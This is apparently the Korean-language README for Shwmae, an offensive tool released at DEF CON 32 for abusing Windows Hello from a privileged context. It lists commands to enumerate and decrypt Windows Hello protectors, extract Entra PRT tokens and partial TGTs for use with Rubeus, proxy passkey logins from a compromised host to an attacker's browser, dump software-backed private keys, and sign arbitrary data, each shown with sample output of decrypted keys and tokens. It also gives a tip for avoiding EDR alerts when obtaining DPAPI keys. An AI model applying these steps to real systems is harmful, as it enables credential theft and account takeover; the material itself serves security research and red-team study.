
권한 있는 컨텍스트에서 Windows Hello를 남용하여 보호자(protectors) 열거, 키 복호화, PRT/TGT 토큰 추출, WebAuthn 요청 프록시, 소프트웨어 기반 개인 키 덤프를 수행합니다.
Shwmae(shuh-my)는 DEF CON 32에서 "Abusing Windows Hello Without a Severed Hand" 발표의 일환으로 공개된 Windows Hello 악용 도구입니다. 이 도구의 목적은 권한 있는 사용자 컨텍스트에서 Windows Hello를 남용하는 것입니다.
Shwmae
Copyright (C) 2024 Shwmae
enum (기본 동사) Windows Hello 보호기, 키 및 자격 증명 열거
sign Windows Hello로 보호된 인증서를 사용하여 데이터 서명
prt Rubeus와 함께 사용할 수 있는 Entra PRT 및 부분 TGT 획득
webauthn 공격 호스트에서 WebAuthn 요청을 프록시할 웹 서버 생성
dump 소프트웨어로 백업된 Windows Hello 보호 키 덤프
help 특정 명령에 대한 자세한 정보 표시.
version 버전 정보 표시.
이 도구는 여러 가지 작동 모드를 제공합니다.
인수가 제공되지 않으면 열거가 기본 모드이며, 대신 enum 명령을 사용할 수 있습니다. 열거 모드는 사용 가능한 모든 Windows Hello 컨테이너를 열거하고, 컨테이너 내에 등록된 모든 Windows Hello 키와 보호기를 재귀적으로 열거합니다. 호스트에 TPM이 없는 경우 PIN 보호기에 대한 해시가 생성되어 hashcat을 사용하여 오프라인에서 크랙될 수 있습니다.
생체 인식 보호기는 자동으로 복호화되지만 PIN 및 복구 보호기는 각각 /pin 및 /token 인수를 사용하여 복호화할 수 있습니다. 각 컨테이너에서 하나의 보호기만 복호화하면 해당 컨테이너 내의 Windows Hello 키를 남용할 수 있습니다.
Shwmae
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
Provider : Microsoft Platform Crypto Provider
Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
Recovery Key : Use /token argument to decrypt recovery key
** Protectors **
Type : Pin
Pin Type : Numeric
Length : 8
Decrypted : Supply /pin argument to attempt decryption
Type : Bio
Encryption Type: Aes
GCM Nonce : cacf46896844d3f96a55fd8c
GCM AuthData : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
GCM Tag : f5d6d1c3e35f944038e03013851d6d69
Decrypted : True (Bio Key Correct)
ExtPin : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
DecryptPin : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
SignPin : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3
Type : Recovery
IV : 49b2c5b8416e5563387e10a8a3d9ae68
** Credentials **
Resource : WinBio Key Resource
SID : S-1-5-21-1003644063-402998240-3342588708-1111
Protector Key : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52
** Keys **
Name : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
Provider : Microsoft Platform Crypto Provider
Key Id : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
Key File : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
Azure Tenant Id : de60a4fa-d583-4eb0-ab66-ce358af8279c
Azure User : [email protected]
Azure kid : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
Name : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
Provider : Microsoft Platform Crypto Provider
Key Id : {36E18DBB-52AC-4198-BD34-55B3490A575C}
Key File : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
FIDO Relay Party : github.com
FIDO Public Key : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
FIDO Cred Id : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
FIDO User Id : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
FIDO User : mary-gruber
FIDO Display Name: mary-gruber
FIDO Sign Count : 2
Name : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
Provider : Microsoft Software Key Storage Provider
Key Id : {7418B315-A00B-4113-A0EC-5C51718D11C5}
Key File : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7
Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
Provider : Microsoft Software Key Storage Provider
Key Id : {696644C4-EA34-400C-99D2-8B5E38095AA6}
Key File : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7
PRT 작동 모드는 Entra에 등록된 Windows Hello 키를 활용하여 prt 명령을 통해 초기 PRT를 생성하고 기존 PRT를 갱신하는 것을 용이하게 합니다. 테넌트에서 클라우드 트러스트가 활성화된 경우 클라우드 TGT가 복호화되며, Rubeus를 사용하여 온프레미스 Active Directory에 대해 사용자로 인증하는 데 사용할 수 있습니다.
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
[+] Successfully decrypted NGC key set from protector type Bio
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
PRT 갱신의 경우 초기 PRT 요청에서 PRT와 세션 키가 필요합니다.
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
WebAuthn 작동 모드는 webauthn 명령을 통해 다른 호스트의 ShwmaeExt 웹 브라우저 확장 프로그램으로부터 WebAuthn 어설션 요청을 수락하는 간단한 웹 API를 설정합니다.
손상된 호스트에 WebAuthn HTTP 리스너가 설정되면(기본적으로 포트 8000에서 수신 대기), 공격 중인 브라우저에 ShwmaeExt를 설치할 수 있습니다. 확장 프로그램 내에서 리스너 URL을 설정하면, 손상된 호스트에서 사용 가능한 모든 자격 증명을 사용하여 Passkey 인증으로 로그인할 수 있습니다. 확장 프로그램의 압축 해제된 버전은 ShwmaeExt 폴더 안에 있습니다.
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit
dump 명령은 소프트웨어 키 스토리지 공급자(Software Key Storage Provider)로 백업된 Windows Hello 개인 키를 추출하는 데 사용할 수 있습니다. 이 모드는 플랫폼 키 스토리지 공급자(Platform Key Storage Provider)로 백업된 키를 추출하는 데는 사용할 수 없습니다.
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
sign 명령은 특정 키로 임의의 데이터를 서명하는 데 사용할 수 있습니다. 이 모드는 도구 내에 특정 통합이 없는 시나리오에서 유용할 수 있습니다.
--key-name 인수는 사용할 특정 Windows Hello 키 쌍을 지정하고, --data 인수는 서명을 계산하는 데 사용됩니다. 데이터는 Base64로 인코딩된 문자열로 제공되어야 하지만, 서명을 생성하기 전에 문자열이 먼저 바이너리로 디코딩됩니다. 바이너리 서명은 Base64로 변환되어 콘솔에 출력됩니다.
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
[+] Successfully decrypted NGC key set from protector type Bio
[+] Success:
MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==
일부 EDR은 LSA 시크릿을 읽어 DPAPI 키를 덤프할 때 경고를 발생시킵니다. 다른 방법으로 SYSTEM 계정 DPAPI 키를 획득한 경우, 16바이트 키(32자)를 나타내는 16진수 문자열로 각각 --system-dpapi 및 --machine-dpapi 키를 통해 입력할 수 있습니다.